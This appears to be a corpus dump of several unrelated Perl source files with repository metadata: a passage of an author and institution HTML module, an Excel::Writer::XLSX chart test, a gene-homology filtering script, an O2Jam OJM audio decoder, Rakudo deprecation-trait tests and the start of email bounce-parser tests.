PrintAuthorInfo { require "AuthorSQL.pm"; my ($AuthorID) = @_; &FetchAuthor($AuthorID); &FetchInstitution($Authors{$AuthorID}{InstitutionID}); my $link = &AuthorLink($AuthorID); print "$link\n"; print " of "; print SmartHTML( {-text => $Institutions{$Authors{$AuthorID}{InstitutionID}}{LONG}, } ); } sub AuthorsByInstitution { my ($InstID) = @_; require "Sorts.pm"; my @AuthorIDs = sort byLastName keys %Authors; print "<td><strong>$Institutions{$InstID}{SHORT}</strong>\n"; print "<ul>\n"; foreach my $AuthorID (@AuthorIDs) { if ($InstID == $Authors{$AuthorID}{InstitutionID}) { my $author_link = &AuthorLink($AuthorID); print "<li>$author_link</li>\n"; } } print "</ul></td>"; } sub AuthorsTable { require "Sorts.pm"; require "MeetingSQL.pm"; require "MeetingHTML.pm"; my @AuthorIDs = sort byLastName keys %Authors; my $NCols = 4; my $NPerCol = int (scalar(@AuthorIDs)/$NCols); my $UseAnchors = (scalar(@AuthorIDs) >= 75); my $CheckEvent = $TRUE; if (scalar(@AuthorIDs) % $NCols) {++$NPerCol;} print "<table class=\"CenteredTable MedPaddedTable\">\n"; if ($UseAnchors ) { print "<tr><th colspan=\"$NCols\">\n"; foreach my $Letter (A..Z) { print "<a href=\"#$Letter\">$Letter</a>\n"; } print "</th></tr>\n"; } print "<tr>\n"; my $NThisCol = 0; my $PreviousLetter = ""; my $FirstPass = 1; # First sub-list of column my $StartNewColumn = 1; my $CloseLastColumn = 0; foreach my $AuthorID (@AuthorIDs) { $FirstLetter = substr $Authors{$AuthorID}{LastName},0,1; $FirstLetter =~ tr/[a-z]/[A-Z]/; if ($NThisCol >= $NPerCol && $FirstLetter ne $PreviousLetter) { $StartNewColumn = 1; } if ($StartNewColumn) { if ($CloseLastColumn) { print "</ul></td>\n"; } print "<td>\n"; $StartNewColumn = 0; $NThisCol = 0; $FirstPass = 1; } ++$NThisCol; if ($FirstLetter ne $PreviousLetter) { $PreviousLetter = $FirstLetter; unless ($FirstPass) { print "</ul>\n"; } $FirstPass = 0; if ($UseAnchors) { print "<a name=\"$FirstLetter\" />\n"; print "<strong>$FirstLetter</strong>\n"; } print "<ul>\n"; } my $AuthorLink = AuthorLink($AuthorID, -format => "formal"); my $AuthorCount = ""; if ($AuthorCounts{$AuthorID}{Exact}) { $AuthorCount = " ($AuthorCounts{$AuthorID}{Exact})"; } # if ($CheckEvent) { # my %Hash = GetEventHashByModerator($AuthorID); # if (%Hash) { # $AuthorLink .= ListByEventLink({ -authorid => $AuthorID }); # } # } print "<li>$AuthorLink$AuthorCount</li>\n"; $CloseLastColumn = 1; } print "</ul></td></tr>"; print "</table>\n"; } sub RequesterActiveSearch { my ($ArgRef) = @_; my $DefaultID = exists $ArgRef->{-default} ? $ArgRef->{-default} : 0; my $Name = exists $ArgRef->{-name} ? $ArgRef->{-name} : "requester"; my $HelpLink = exists $ArgRef->{-helplink} ? $ArgRef->{-helplink} : "authors"; my $HelpText = exists $ArgRef->{-helptext} ? $ArgRef->{-helptext} : "Submitter"; my $Required = exists $ArgRef->{-required} ? $ArgRef->{-required} : $TRUE; my $ExtraText = $Params{-extratext} || ""; my $HTML; if ($HelpLink) { $HTML .= FormElementTitle(-helplink => $HelpLink, -helptext => $HelpText, -required => $Required, -extratext => $ExtraText, -name => "requester", -errormsg => 'You must choose a requester.'); $HTML .= "\n"; } my ($Default, $DefaultName); if ($DefaultID) { $Default = $DefaultID; $DefaultName = $Authors{$DefaultID}{Formal}; } $HTML .= '<input class="required" name="requester_text" type="text" id="requester" value="'.$DefaultName.'">'. '<input name="requester" type="hidden" id="requester-id" value="'.$Default.'">'."\n"; return $HTML; } sub AuthorActiveSearch { my ($ArgRef) = @_; my @DefaultAuthorIDs = exists $ArgRef->{-defaultauthorids} ? @{$ArgRef->{-defaultauthorids}} : (); my $HelpLink = exists $ArgRef->{-helplink} ? $ArgRef->{-helplink} : "authors"; my $HelpText = exists $ArgRef->{-helptext} ? $ArgRef->{-helptext} : "Authors"; my $Required = exists $ArgRef->{-required} ? $ArgRef->{-required} : $TRUE; my $ExtraText = exists $ArgRef->{-extratext} ? $ArgRef->{-extratext} : ""; my @AuthorIDs = sort byLastName keys %Authors; my $HTML; if ($HelpLink) { $HTML .= FormElementTitle(-helplink => $HelpLink, -helptext => $HelpText, -required => $Required, -extratext => $ExtraText, -errormsg => 'You must choose at least one author.'); $HTML .= "\n"; } $HTML .= '<div id="sel_authors_box">'."\n"; $HTML .= '<ul id="authors_id_span"></ul>'."\n"; $HTML .= '</div>'."\n"; $HTML .= '<input id="author_dummy" class="hidden required" type="checkbox" value="dummy" name="authors" />'."\n"; $HTML .= '<input name="authors_selection_text" type="text" id="authors_selector"><br /> (type to search and<br/>click or press <i>Enter</i>)'."\n"; $HTML .= '<script type="text/javascript"> <!-- jQuery().ready(function() {'; foreach my $AuthorID (@DefaultAuthorIDs) { # /* call this function for each author, with authors_id and title [do not forget to escape it] */ $HTML .= 'addAuthorList(['.$AuthorID.', "'.$Authors{$AuthorID}{Formal}.'"]);'."\n"; } $HTML .= '}); // --> </script>'; return $HTML; } sub AuthorScroll (%) { require "AuthorSQL.pm"; require "Sorts.pm"; my (%Params) = @_; my $All = $Params{-showall} || 0; my $Multiple = $Params{-multiple} || 0; my $HelpLink = $Params{-helplink} || ""; my $HelpText = $Params{-helptext} || "Authors"; my $ExtraText = $Params{-extratext} || ""; my $Required = $Params{-required} || 0; my $Name = $Params{-name} || "authors"; my $Size = $Params{-size} || 10; my $Disabled = $Params{-disabled} || ""; my @Defaults = @{$Params{-default}}; unless (keys %Author) { GetAuthors(); } my @AuthorIDs = sort byLastName keys %Authors; my %AuthorLabels = (); my @ActiveIDs = (); foreach my $ID (@AuthorIDs) { if ($Authors{$ID}{ACTIVE} || $All) { $AuthorLabels{$ID} = SmartHTML({-text=>$Authors{$ID}{Formal}}); push @ActiveIDs,$ID; } } if ($HelpLink) { my $ElementTitle = FormElementTitle(-helplink => $HelpLink, -helptext => $HelpText, -required => $Required, -extratext => $ExtraText, ); print $ElementTitle,"\n"; } if ($Disabled) { # FIXME: Use Booleans print $query -> scrolling_list(-name => $Name, -values => \@ActiveIDs, -labels => \%AuthorLabels, -size => 10, -multiple => $Multiple, -default => \@Defaults, -disabled); } else { print $query -> scrolling_list(-name => $Name, -values => \@ActiveIDs, -labels => \%AuthorLabels, -size => 10, -multiple => $Multiple, -default => \@Defaults); } } sub AuthorTextEntry ($;@) { my ($ArgRef) = @_; # my $Disabled = exists $ArgRef->{-disabled} ? $ArgRef->{-disabled} : "0"; my $HelpLink = exists $ArgRef->{-helplink} ? $ArgRef->{-helplink} : "authormanual"; my $HelpText = exists $ArgRef->{-helptext} ? $ArgRef->{-helptext} : "Authors"; my $Name = exists $ArgRef->{-name} ? $ArgRef->{-name} : "authormanual"; my $Required = exists $ArgRef->{-required} ? $ArgRef->{-required} : $FALSE; my $ExtraText = exists $ArgRef->{-extratext} ? $ArgRef->{-extratext} : ""; my @Defaults = exists $ArgRef->{-default} ? @{$ArgRef->{-default}} : (); my $AuthorManDefault = ""; foreach $AuthorID (@Defaults) { FetchAuthor($AuthorID); $AuthorManDefault .= SmartHTML({-text=>$Authors{$AuthorID}{FULLNAME}})."\n" ; } print FormElementTitle(-helplink => $HelpLink, -helptext => $HelpText, -required => $Required, -extratext => $ExtraText, ); print $query -> textarea (-name => $Name, -default => $AuthorManDefault, -columns => 25, -rows => 8); }; sub InstitutionEntryBox (;%) { my (%Params) = @_; my $Disabled = $Params{-disabled} || "0"; my $Booleans = ""; if ($Disabled) { $Booleans .= "-disabled"; } print "<table cellpadding=5><tr valign=top>\n"; print "<td>\n"; print FormElementTitle(-helplink => "instentry", -helptext => "Short Name"); print $query -> textfield (-name => 'shortdesc', -size => 30, -maxlength => 40,$Booleans); print "</td></tr>\n"; print "<tr><td>\n"; print FormElementTitle(-helplink => "instentry", -helptext => "Long Name"); print $query -> textfield (-name => 'longdesc', -size => 40, -maxlength => 80,$Booleans); print "</td>\n"; print "</tr></table>\n"; } 1;
32.94577
149
0.571767
ed134b176a5173a6dafce750f52fab2f4e085464
1,925
t
Perl
t/regression/chart_axis06.t
f20/excel-writer-xlsx
b08a865c6972f935b7d72e64e5580cca8e6cc299
[ "Artistic-1.0-Perl" ]
61
2015-02-03T02:49:53.000Z
2022-02-13T09:17:53.000Z
t/regression/chart_axis06.t
f20/excel-writer-xlsx
b08a865c6972f935b7d72e64e5580cca8e6cc299
[ "Artistic-1.0-Perl" ]
167
2015-01-02T09:25:11.000Z
2022-02-16T22:04:20.000Z
t/regression/chart_axis06.t
f20/excel-writer-xlsx
b08a865c6972f935b7d72e64e5580cca8e6cc299
[ "Artistic-1.0-Perl" ]
31
2015-02-16T12:06:45.000Z
2021-10-14T13:03:22.000Z
############################################################################### # # Tests the output of Excel::Writer::XLSX against Excel generated files. # # Copyright 2000-2021, John McNamara, jmcnamara@cpan.org # use lib 't/lib'; use TestFunctions qw(_compare_xlsx_files _is_deep_diff); use strict; use warnings; use Test::More tests => 1; ############################################################################### # # Tests setup. # my $filename = 'chart_axis06.xlsx'; my $dir = 't/regression/'; my $got_filename = $dir . "ewx_$filename"; my $exp_filename = $dir . 'xlsx_files/' . $filename; my $ignore_members = []; my $ignore_elements = { 'xl/charts/chart1.xml' => ['<c:pageMargins'], }; ############################################################################### # # Test the creation of a simple Excel::Writer::XLSX file. # use Excel::Writer::XLSX; my $workbook = Excel::Writer::XLSX->new( $got_filename ); my $worksheet = $workbook->add_worksheet(); my $chart = $workbook->add_chart( type => 'pie', embedded => 1 ); my $data = [ [ 2, 4, 6 ], [ 60, 30, 10 ], ]; $worksheet->write( 'A1', $data ); $chart->add_series( categories => '=Sheet1!$A$1:$A$3', values => '=Sheet1!$B$1:$B$3', ); $chart->set_title( name => 'Title' ); # Axis formatting should be ignored. $chart->set_x_axis( name => 'XXX' ); $chart->set_y_axis( name => 'YYY' ); $worksheet->insert_chart( 'E9', $chart ); $workbook->close(); ############################################################################### # # Compare the generated and existing Excel files. # my ( $got, $expected, $caption ) = _compare_xlsx_files( $got_filename, $exp_filename, $ignore_members, $ignore_elements, ); _is_deep_diff( $got, $expected, $caption ); ############################################################################### # # Cleanup. # unlink $got_filename; __END__
21.629213
79
0.502857
ed52c6d97f91ac521ca7a58c18624f7d031dfa7f
2,933
pl
Perl
scripts/rework_minus_big_clust.pl
vsitnik/ensembl-pipeline
3d12427eb0536812906fe5fd0cf5e90cc27d89ad
[ "Apache-2.0" ]
51
2015-01-09T06:15:42.000Z
2022-01-09T19:03:36.000Z
scripts/rework_minus_big_clust.pl
vsitnik/ensembl-pipeline
3d12427eb0536812906fe5fd0cf5e90cc27d89ad
[ "Apache-2.0" ]
4
2017-08-03T11:06:57.000Z
2022-01-21T17:23:19.000Z
scripts/rework_minus_big_clust.pl
vsitnik/ensembl-pipeline
3d12427eb0536812906fe5fd0cf5e90cc27d89ad
[ "Apache-2.0" ]
31
2015-01-11T08:22:41.000Z
2022-03-10T00:48:24.000Z
#!/usr/bin/env perl # Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute # Copyright [2016-2020] EMBL-European Bioinformatics Institute # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. use warnings ; use strict; my $kill_list = shift @ARGV; my $input_dir = shift @ARGV; my %dodgy_gene_id; open(KILLLIST, $kill_list) or die; while (<KILLLIST>){ chomp; $dodgy_gene_id{$_}++ } close(KILLLIST); #### my @output_files; opendir(DIR, $input_dir) or die "Cant open [$input_dir]."; foreach my $item (readdir DIR){ next if ($item eq '.' || $item eq '..'); #print $item . "\n"; if (-d ($input_dir . '/' . $item)){ opendir(RECDIR, "$input_dir/$item");# or die "Cant open recursed dir [$input_dir/$item]." foreach my $recurse_item (readdir RECDIR) { next if ($recurse_item eq '.' || $recurse_item eq '..'); #print " $recurse_item\n"; if (-d "$input_dir/$item/$recurse_item"){ die "Found a level of recursion in the " . "output directories that wasnt expected." } push @output_files, "$input_dir/$item/$recurse_item"; } closedir(RECDIR) } else { push @output_files, "$input_dir/$item"; } } closedir(DIR); my %tally; while (my $output_file = shift @output_files){ open(INFILE, $output_file);# or die "Cant open file [$output_file]." while (<INFILE>){ next if /No homologous matches/; my ($dn, $ds, $n, $s, $lnl, $threshold_on_ds, $query_gene_id, $query_transcript_id, $query_cigar_line, $query_start, $query_end, $query_cov, $query_identity, $query_similarity, $match_gene_id, $match_transcript_id, $match_cigar_line, $match_start, $match_end, $match_cov, $match_identity, $match_similarity) = split /\t/, $_; # next # if ($n == 0 and $s == 0); # As opposed to 0.000 - zero (0) denotes a dodgy computation. next if ($dodgy_gene_id{$query_gene_id} || $dodgy_gene_id{$match_gene_id}); next if ($dn > 1) or ($ds > 1) or ($dn < 0) or ($ds < 0); next if (($query_identity < 60)or($match_identity < 60)); next if (($query_cov < 80) or ($match_cov < 80)); next if ($tally{$query_gene_id . $match_gene_id} or $tally{$match_gene_id . $query_gene_id}); $tally{$query_gene_id . $match_gene_id}++; $tally{$match_gene_id . $query_gene_id}++; print $_ } }
22.052632
102
0.646437
ed0588c40a1a2bc571138839646af04e641417c1
7,982
pl
Perl
tools/ojm_header.pl
WaiHong91/open2jam
de2188df4201971fd3449629a91168d22bb3ce37
[ "Artistic-2.0" ]
82
2015-01-20T07:37:24.000Z
2022-01-27T14:45:18.000Z
tools/ojm_header.pl
fadreus/open2jam
11384b3ca957828ae66a72c9e28edd42c97952d5
[ "Artistic-2.0" ]
8
2016-09-27T08:43:09.000Z
2021-01-23T08:41:06.000Z
tools/ojm_header.pl
fadreus/open2jam
11384b3ca957828ae66a72c9e28edd42c97952d5
[ "Artistic-2.0" ]
34
2015-06-27T12:20:01.000Z
2022-03-01T13:52:42.000Z
use strict; use warnings; use Data::Dumper; my $filename = shift; open DATA, $filename or die $!; binmode DATA; my $header; read DATA, $header, 20 or die $!; my $h = unpack2hash(join(' ',qw/ Z4:$signature s:$wav_count s:$ogg_count i:$wav_start i:$ogg_start I:$filesize /), $header); print Dumper $h; # header info # Z4:$signature -> Can be OMC or OJM # s:$unk1 -> Seems to be the number of samples but in some files the number of samples is unk2 :/ # s:$unk2 -> It seems be the version of the container??? or maybe the type of files that the container has???? # Or it can be the number of samples if unk1 isn't!! I'm totally lost here :/ # i:$wav_start -> The start of the wav files (always 0x14 0x00 0x00 0x00 ???) # i:$ogg_start -> The start of the ogg files # I:$filesize -> The size of the file (OMG RLY?) if($h->{'signature'} ne "M30") { while(tell DATA != $h->{'ogg_start'}) { read DATA, $header, 56 or die $!; my $sh = unpack2hash(join(' ',qw/ Z32:$sample_name s:$audio_format s:$num_channels i:$sample_rate i:$byte_rate s:$block_align s:$bits_per_sample i:$data i:$chunk_size /), $header); #This header is part of a WAVE header #Link to the WAVE header https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ #dont print the empty ones if($sh->{'chunk_size'} != 0) { print Dumper $sh; dump_wav ($sh->{'sample_name'}, $sh->{'chunk_size'}, $sh->{'audio_format'}, $sh->{'num_channels'}, $sh->{'sample_rate'}, $sh->{'byte_rate'}, $sh->{'block_align'}, $sh->{'bits_per_sample'} ); } #seek DATA, $sh->{'chunk_size'}, 1; } while(!eof DATA) { read DATA, $header, 36 or die $!; my $sh = unpack2hash(join(' ',qw/ Z32:$sample_name i:$sample_size /), $header); #dont print the empty ones if($sh->{'sample_size'} != 0) { print Dumper $sh; } dump_ogg($sh->{'sample_name'},$sh->{'sample_size'}); #seek DATA, $sh->{'sample_size'}, 1; } } sub dump_wav { my ($ref, $sample_size, $audio_fmt, $num_chan, $sample_rate, $byte_rate, $block_align, $bits_per_sample) = @_; my ($buf); open MP, ">$ref.wav"; binmode MP; #wave header $buf .= "RIFF"; #RIFF $buf .= pack("V",$sample_size+36); #full chunk size = chunk_size + 36 $buf .= "WAVE"; #WAVE $buf .= "fmt "; #fmt_ $buf .= pack("V",0x10); #PCM FORMAT $buf .= pack("v",$audio_fmt); #audio_fmt $buf .= pack("v",$num_chan); #num_chan $buf .= pack("V",$sample_rate); #sample_rate $buf .= pack("V",$byte_rate); #byte rate $buf .= pack("v",$block_align); #block align $buf .= pack("v",$bits_per_sample); #bits per sample $buf .= "data"; #chunk size $buf .= pack("V",$sample_size); #chunk size #/wave header print MP $buf; read DATA, $buf, $sample_size; #the OMC files have their samples encrypted if($h->{'signature'} eq "OMC") { #fuck the person who invented this, FUCK YOU!... but with love =$ $buf = arrange_blocks($buf); #some weird encryption $buf = acc_xor($buf); } print MP $buf; close MP; } sub arrange_blocks { my ($data) = @_; my @table=( #this is a dump from debugging notetool 0x10, 0x0E, 0x02, 0x09, 0x04, 0x00, 0x07, 0x01, 0x06, 0x08, 0x0F, 0x0A, 0x05, 0x0C, 0x03, 0x0D, 0x0B, 0x07, 0x02, 0x0A, 0x0B, 0x03, 0x05, 0x0D, 0x08, 0x04, 0x00, 0x0C, 0x06, 0x0F, 0x0E, 0x10, 0x01, 0x09, 0x0C, 0x0D, 0x03, 0x00, 0x06, 0x09, 0x0A, 0x01, 0x07, 0x08, 0x10, 0x02, 0x0B, 0x0E, 0x04, 0x0F, 0x05, 0x08, 0x03, 0x04, 0x0D, 0x06, 0x05, 0x0B, 0x10, 0x02, 0x0C, 0x07, 0x09, 0x0A, 0x0F, 0x0E, 0x00, 0x01, 0x0F, 0x02, 0x0C, 0x0D, 0x00, 0x04, 0x01, 0x05, 0x07, 0x03, 0x09, 0x10, 0x06, 0x0B, 0x0A, 0x08, 0x0E, 0x00, 0x04, 0x0B, 0x10, 0x0F, 0x0D, 0x0C, 0x06, 0x05, 0x07, 0x01, 0x02, 0x03, 0x08, 0x09, 0x0A, 0x0E, 0x03, 0x10, 0x08, 0x07, 0x06, 0x09, 0x0E, 0x0D, 0x00, 0x0A, 0x0B, 0x04, 0x05, 0x0C, 0x02, 0x01, 0x0F, 0x04, 0x0E, 0x10, 0x0F, 0x05, 0x08, 0x07, 0x0B, 0x00, 0x01, 0x06, 0x02, 0x0C, 0x09, 0x03, 0x0A, 0x0D, 0x06, 0x0D, 0x0E, 0x07, 0x10, 0x0A, 0x0B, 0x00, 0x01, 0x0C, 0x0F, 0x02, 0x03, 0x08, 0x09, 0x04, 0x05, 0x0A, 0x0C, 0x00, 0x08, 0x09, 0x0D, 0x03, 0x04, 0x05, 0x10, 0x0E, 0x0F, 0x01, 0x02, 0x0B, 0x06, 0x07, 0x05, 0x06, 0x0C, 0x04, 0x0D, 0x0F, 0x07, 0x0E, 0x08, 0x01, 0x09, 0x02, 0x10, 0x0A, 0x0B, 0x00, 0x03, 0x0B, 0x0F, 0x04, 0x0E, 0x03, 0x01, 0x00, 0x02, 0x0D, 0x0C, 0x06, 0x07, 0x05, 0x10, 0x09, 0x08, 0x0A, 0x03, 0x02, 0x01, 0x00, 0x04, 0x0C, 0x0D, 0x0B, 0x10, 0x05, 0x06, 0x0F, 0x0E, 0x07, 0x09, 0x0A, 0x08, 0x09, 0x0A, 0x00, 0x07, 0x08, 0x06, 0x10, 0x03, 0x04, 0x01, 0x02, 0x05, 0x0B, 0x0E, 0x0F, 0x0D, 0x0C, 0x0A, 0x06, 0x09, 0x0C, 0x0B, 0x10, 0x07, 0x08, 0x00, 0x0F, 0x03, 0x01, 0x02, 0x05, 0x0D, 0x0E, 0x04, 0x0D, 0x00, 0x01, 0x0E, 0x02, 0x03, 0x08, 0x0B, 0x07, 0x0C, 0x09, 0x05, 0x0A, 0x0F, 0x04, 0x06, 0x10, 0x01, 0x0E, 0x02, 0x03, 0x0D, 0x0B, 0x07, 0x00, 0x08, 0x0C, 0x09, 0x06, 0x0F, 0x10, 0x05, 0x0A, 0x04, 0x00); my $length = length $data; my $key = $length % 17; #Let's start to looking for a key my $key2 = $key; #Copy it, we'll need it later $key = $key << 4; #Shift 4 bits left, let's make some room $key = ($key+$key2); #Yeah, add them! =$ $key2 = $key; #Again, we'll need it later $key = $table[$key]; #Let's see the table... ummm ok! founded #printf("Init key: %02x\n",$key); my $block_size = int($length / 0x11); #Ok, now the block size #printf("BLOCK SIZE: %08x\n", $block_size); my $buf = $data; #Let's fill the buffer with the data, it'll overwriten my $counter = 0; #Start my counter, tic tac tic tac while($counter < 17) #loopy loop { my $block_start_encoded = $block_size * $counter; #Where is the start of the enconded block my $block_start_plain = $block_size * $key; #Where the final plain block will be my $block; #printf("KEY: %02x ENCODED: %08x PLAIN: %08x KEYPOS: %i / %02x\n", $key, $block_start_encoded, $block_start_plain, $key2, $key2); $block = substr($data, $block_start_encoded, $block_size); #Let's fill the block with the encoded info substr ($buf, $block_start_plain, $block_size, $block); #Let's change the buf with the block starting #from the final position of the block $key2 = $key2 + 1; #Remember that key2, let's add 1 $key = $table[$key2]; #Where is the key? :O #printf("Key: %02x\n",$key); $counter = $counter + 1; #Keep the loop looping �-� } return $buf; } #Global variables our $KEYBYTE = 0xFF; our $ACC_ACC_COUNTER = 0; sub acc_xor { my ($data) = @_; my ($buf, $temp, $byte) = @_; our $KEYBYTE; our $ACC_COUNTER; if(!defined($KEYBYTE)) { $KEYBYTE = 0xFF; } if(!defined($ACC_COUNTER)) { $ACC_COUNTER = 0; } #printf(" Keybyte: %02x Counter %02x\n", $KEYBYTE, $ACC_COUNTER); my $length = length $data; $buf = $data; for (my $i = 0; $i <= $length; $i++) { if($ACC_COUNTER > 7) { $ACC_COUNTER = 0; $KEYBYTE = unpack("W",$temp); } $temp = $byte = substr($data, $i, 1); if(($KEYBYTE << $ACC_COUNTER) & 0x80) { $byte = ~$byte; } else { $byte = $byte; } substr($buf, $i, 1, $byte); if($i != $length) {$ACC_COUNTER++;} } return $buf; } sub dump_ogg { my ($ref,$sample_size) = @_; my ($buf) = @_; open MP, ">$ref"; binmode MP; read DATA, $buf, $sample_size; print MP $buf; close MP; } sub unpack2hash { my ($template, $source) = @_; my $hash = {}; foreach(split ' ',$template) { my ($temp,$type,$var) = split /:(.)/; if($type eq '@') { @{$hash->{$var}} = unpack $temp, $source; }elsif($type eq '$') { $hash->{$var} = unpack $temp, $source; } else{ die "need context type\n" } substr $source, 0, length(pack $temp), ''; } return $hash; }
27.811847
131
0.592458
ed3b9e4f1beef12dcbab67c7a993640200400b5c
4,789
t
Perl
S02-types/isDEPRECATED.t
jmaslak/roast
d69446499800e7cb274c0c240691a8199e69b22c
[ "Artistic-2.0" ]
1
2019-11-06T05:07:10.000Z
2019-11-06T05:07:10.000Z
S02-types/isDEPRECATED.t
jmaslak/roast
d69446499800e7cb274c0c240691a8199e69b22c
[ "Artistic-2.0" ]
null
null
null
S02-types/isDEPRECATED.t
jmaslak/roast
d69446499800e7cb274c0c240691a8199e69b22c
[ "Artistic-2.0" ]
null
null
null
use v6; BEGIN %*ENV<RAKUDO_DEPRECATIONS_FATAL>:delete; # disable fatal setting for tests use Test; plan 13; # L<S02/Deprecations> my $line; # just a sub { my $a; my $awith; sub a is DEPRECATED { $a++ }; sub awith is DEPRECATED("'fnorkle'") { $awith++ }; $line = $?LINE; a(); is $a, 1, 'was "a" really called'; is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for a()'; Saw 1 occurrence of deprecated code. ================================================================================ Sub a (from GLOBAL) seen at: $*PROGRAM, line $line Please use something else instead. -------------------------------------------------------------------------------- TEXT $line = $?LINE; awith(); awith(); is $awith, 2, 'was "awith" really called'; is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for awith()'; Saw 1 occurrence of deprecated code. ================================================================================ Sub awith (from GLOBAL) seen at: $*PROGRAM, lines $line,{$line + 1} Please use 'fnorkle' instead. -------------------------------------------------------------------------------- TEXT } #4 # class with auto/inherited new() { class A is DEPRECATED { }; class Awith is DEPRECATED("'Fnorkle.new'") { }; $line = $?LINE; A.new; #?rakudo todo 'NYI' is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for A.new'; Saw 1 occurrence of deprecated code. ================================================================================ Method new (from A) seen at: $*PROGRAM, line $line Please use something else instead. -------------------------------------------------------------------------------- TEXT $line = $?LINE; Awith.new; Awith.new; #?rakudo todo 'NYI' is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for Awith.new'; Saw 1 occurrence of deprecated code. ================================================================================ Method new (from Awith) seen at: $*PROGRAM, lines $line,{$line + 1} Please use 'Fnorkle.new' instead. -------------------------------------------------------------------------------- TEXT } #2 # method in class { my $C; my $Cwith; class C { method foo is DEPRECATED { $C++ } }; class Cwith { method foo is DEPRECATED("'bar'") { $Cwith++ } }; $line = $?LINE; C.new.foo; is $C, 1, 'was "C.new.foo" really called'; is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for C.new.foo'; Saw 1 occurrence of deprecated code. ================================================================================ Method foo (from C) seen at: $*PROGRAM, line $line Please use something else instead. -------------------------------------------------------------------------------- TEXT $line = $?LINE; Cwith.new.foo; Cwith.new.foo; is $Cwith, 2, 'was "Cwith.new.foo" really called'; is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation Cwith.new.foo'; Saw 1 occurrence of deprecated code. ================================================================================ Method foo (from Cwith) seen at: $*PROGRAM, lines $line,{$line + 1} Please use 'bar' instead. -------------------------------------------------------------------------------- TEXT } #4 # class with auto-generated public attribute { class D { has $.foo is DEPRECATED }; class Dwith { has $.foo is DEPRECATED("'bar'") }; $line = $?LINE; D.new.foo; is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation for D.new.foo'; Saw 1 occurrence of deprecated code. ================================================================================ Method foo (from D) seen at: $*PROGRAM, line $line Please use something else instead. -------------------------------------------------------------------------------- TEXT $line = $?LINE; Dwith.new; Dwith.new; #?rakudo todo 'NYI' is Deprecation.report, qq:to/TEXT/.chop.subst("\r\n", "\n", :g), 'right deprecation Dwith.new.foo'; Saw 1 occurrence of deprecated code. ================================================================================ Method foo (from Dwith) seen at: $*PROGRAM, lines $line,{$line + 1} Please use 'bar' instead. -------------------------------------------------------------------------------- TEXT } #2 # RT #120908 { sub rt120908 is DEPRECATED((sub { "a" })()) { }; rt120908(); ok Deprecation.report ~~ m/'Sub rt120908 (from GLOBAL) seen at:'/, 'right deprecation for rt120908()'; } # vim:set ft=perl6
33.964539
103
0.453748
73ec601efed0acda6280af180a5e0a3e16300d18
580
pm
Perl
lib/VMOMI/VirtualHardwareVersionNotSupported.pm
stumpr/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
1
2017-06-22T21:26:24.000Z
2017-06-22T21:26:24.000Z
lib/VMOMI/VirtualHardwareVersionNotSupported.pm
restump/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
null
null
null
lib/VMOMI/VirtualHardwareVersionNotSupported.pm
restump/p5-vmomi
e2571d72a1f552ddd0258ad289ec229d8d12a147
[ "Apache-2.0" ]
1
2016-07-19T19:56:09.000Z
2016-07-19T19:56:09.000Z
package VMOMI::VirtualHardwareVersionNotSupported; use parent 'VMOMI::VirtualHardwareCompatibilityIssue'; use strict; use warnings; our @class_ancestors = ( 'VirtualHardwareCompatibilityIssue', 'VmConfigFault', 'VimFault', 'MethodFault', ); our @class_members = ( ['hostName', undef, 0, ], ['host', 'ManagedObjectReference', 0, ], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
19.333333
59
0.694828
73ec86822e3e0b831f0e1bee9148736db8986fa5
5,124
t
Perl
t/orig-message.t
cees/mail-deliverystatus-bounceparser
42c04b81359b1652173aaaae150116d4f07ca295
[ "Artistic-1.0" ]
1
2016-05-09T08:08:53.000Z
2016-05-09T08:08:53.000Z
t/orig-message.t
cees/mail-deliverystatus-bounceparser
42c04b81359b1652173aaaae150116d4f07ca295
[ "Artistic-1.0" ]
null
null
null
t/orig-message.t
cees/mail-deliverystatus-bounceparser
42c04b81359b1652173aaaae150116d4f07ca295
[ "Artistic-1.0" ]
null
null
null
#!perl -wT use strict; use Test::More tests => 12; use Mail::DeliveryStatus::BounceParser; # FH because we're being backcompat to pre-lexical sub readfile { my $fn = shift; open FH, "$fn" or die $!; local $/; my $text = <FH>; close FH; return $text; } { my $message = readfile('t/corpus/postfix.msg'); my $bounce = Mail::DeliveryStatus::BounceParser->new($message); isa_ok($bounce, 'Mail::DeliveryStatus::BounceParser'); ok($bounce->is_bounce, "it's a bounce, alright"); is( $bounce->orig_message_id, '<20060527213404.GN13012@mta.domain-1.com>', "the right bounced message id is given (but has angle-brackets)", ); my $orig_message = <<'END_MESSAGE'; Received: by mta.domain-1.com (Postfix, from userid 1001) id 89BEE2E6069; Sat, 27 May 2006 21:34:04 +0000 (UTC) Date: Sat, 27 May 2006 17:34:04 -0400 From: Ricardo SIGNES <sender@domain-2.org> To: bounce@dest.example.com Subject: asdf Message-ID: <20060527213404.GN13012@mta.domain-1.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.11+cvs20060126 Test. -- sender END_MESSAGE is($bounce->orig_message->as_string, $orig_message, "got original message"); } { my $message = readfile('t/corpus/aol.unknown.msg'); my $bounce = Mail::DeliveryStatus::BounceParser->new($message); isa_ok($bounce, 'Mail::DeliveryStatus::BounceParser'); 